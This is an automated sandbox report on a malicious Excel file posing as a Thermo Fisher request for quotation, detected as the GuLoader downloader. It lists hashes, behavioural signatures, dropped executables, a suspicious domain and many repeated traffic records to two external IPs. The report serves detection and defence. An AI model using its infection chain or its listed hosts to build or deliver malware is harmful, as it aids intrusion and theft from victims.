Windows Analysis Report
Thermo Fisher RFQ_TFS-1805.xls

Overview

General Information

Sample name: Thermo Fisher RFQ_TFS-1805.xls
Analysis ID: 1500266
MD5: 0afb5bfb1d8d7668a5cce238da947f98
SHA1: c0c607e334c4b31e3cc8d5703ec16faa9b4766d4
SHA256: 98ad896fba17899465c642cc1e0e745ff5a081f5871fc091c0391a5929192ca5
Tags: xls
Infos:

Detection

GuLoader
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected GuLoader
Document exploit detected (process start blacklist hit)
Excel sheet contains many unusual embedded objects
Installs new ROOT certificates
Machine Learning detection for dropped file
Microsoft Office drops suspicious files
PowerShell case anomaly found
Powershell drops PE file
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: File With Uncommon Extension Created By An Office Application
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious Microsoft Office Child Process
Suspicious command line found
Suspicious powershell command line found
Tries to detect virtualization through RDTSC time measurements
Abnormal high CPU Usage
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Compiles C# or VB.Net code
Contains functionality for read data from the clipboard
Contains functionality to dynamically determine API calls
Contains functionality to shutdown / reboot the system
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a window with clipboard capturing capabilities
Creates files inside the system directory
Detected potential crypto function
Document embeds suspicious OLE2 link
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Searches for the Microsoft Outlook file path
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Excel Network Connections
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Suspicious Office Outbound Connections
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Name Description Attribution Blogpost URLs Link
CloudEyE, GuLoader CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: Thermo Fisher RFQ_TFS-1805.xls Virustotal: Detection: 20% Perma Link
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\MeMpEng[1].exe Joe Sandbox ML: detected
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: unknown HTTPS traffic detected: 88.99.66.38:443 -> 192.168.2.22:49161 version: TLS 1.2
Source: unknown HTTPS traffic detected: 88.99.66.38:443 -> 192.168.2.22:49163 version: TLS 1.2
Source: unknown HTTPS traffic detected: 88.99.66.38:443 -> 192.168.2.22:49168 version: TLS 1.2
Source: Binary string: 7C:\Users\user\AppData\Local\Temp\4xnxdpzb\4xnxdpzb.pdbhP source: powershell.exe, 00000010.00000002.470282539.0000000002672000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: 7C:\Users\user\AppData\Local\Temp\nxtolslo\nxtolslo.pdb source: powershell.exe, 00000007.00000002.426492015.0000000002DE3000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: 7C:\Users\user\AppData\Local\Temp\nxtolslo\nxtolslo.pdbhP source: powershell.exe, 00000007.00000002.426492015.0000000002EEF000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: .pdbptB source: powershell.exe, 00000007.00000002.429105773.000000001C2C7000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: 7C:\Users\user\AppData\Local\Temp\4xnxdpzb\4xnxdpzb.pdb source: powershell.exe, 00000010.00000002.470282539.0000000002672000.00000004.00000800.00020000.00000000.sdmp
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe Code function: 11_2_00405C60 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose, 11_2_00405C60
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe Code function: 11_2_00402930 FindFirstFileW, 11_2_00402930
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe Code function: 11_2_004068B1 FindFirstFileW,FindClose, 11_2_004068B1
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe Code function: 20_2_00405C60 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose, 20_2_00405C60
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe Code function: 20_2_00402930 FindFirstFileW, 20_2_00402930
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe Code function: 20_2_004068B1 FindFirstFileW,FindClose, 20_2_004068B1

Software Vulnerabilities
barindex
Document exploit detected (process start blacklist hit)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\mshta.exe
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: zhort.de
Source: global traffic DNS query: name: zhort.de
Source: global traffic DNS query: name: zhort.de
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 88.99.66.38:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 88.99.66.38:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 88.99.66.38:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 88.99.66.38:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 88.99.66.38:443
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 88.99.66.38:443
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 88.99.66.38:443
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 88.99.66.38:443
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 88.99.66.38:443
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 88.99.66.38:443
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 88.99.66.38:443
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 88.99.66.38:443
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 88.99.66.38:443
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 88.99.66.38:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 88.99.66.38:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 88.99.66.38:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 88.99.66.38:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 88.99.66.38:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 88.99.66.38:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 88.99.66.38:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 88.99.66.38:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 88.99.66.38:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 88.99.66.38:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 88.99.66.38:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 88.99.66.38:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 88.99.66.38:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 88.99.66.38:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 88.99.66.38:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 88.99.66.38:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 88.99.66.38:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 88.99.66.38:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 88.99.66.38:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 88.99.66.38:443
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 88.99.66.38:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 88.99.66.38:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 88.99.66.38:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 88.99.66.38:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 88.99.66.38:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 88.99.66.38:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 88.99.66.38:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 88.99.66.38:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 88.99.66.38:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 88.99.66.38:443
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 88.99.66.38:443
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 88.99.66.38:443
Source: global traffic TCP traffic: 88.99.66.38:443 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 88.99.66.38:443
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 88.99.66.38:443
Source: global traffic TCP traffic: 88.99.66.38:443 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 88.99.66.38:443 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 88.99.66.38:443
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 88.99.66.38:443
Source: global traffic TCP traffic: 88.99.66.38:443 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 88.99.66.38:443 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 88.99.66.38:443
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 88.99.66.38:443
Source: global traffic TCP traffic: 88.99.66.38:443 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 88.99.66.38:443 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 88.99.66.38:443 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 88.99.66.38:443
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 88.99.66.38:443
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 88.99.66.38:443
Source: global traffic TCP traffic: 88.99.66.38:443 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 88.99.66.38:443
Source: global traffic TCP traffic: 88.99.66.38:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 88.99.66.38:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 88.99.66.38:443
Source: global traffic TCP traffic: 88.99.66.38:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 88.99.66.38:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 88.99.66.38:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 88.99.66.38:443
Source: global traffic TCP traffic: 88.99.66.38:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 88.99.66.38:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 88.99.66.38:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 88.99.66.38:443
Source: global traffic TCP traffic: 88.99.66.38:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 88.99.66.38:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 88.99.66.38:443
Source: global traffic TCP traffic: 88.99.66.38:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 88.99.66.38:443
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 88.99.66.38:443
Source: global traffic TCP traffic: 88.99.66.38:443 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 192.3.243.166:80
Source: global traffic TCP traffic: 192.3.243.166:80 -> 192.168.2.22:49164
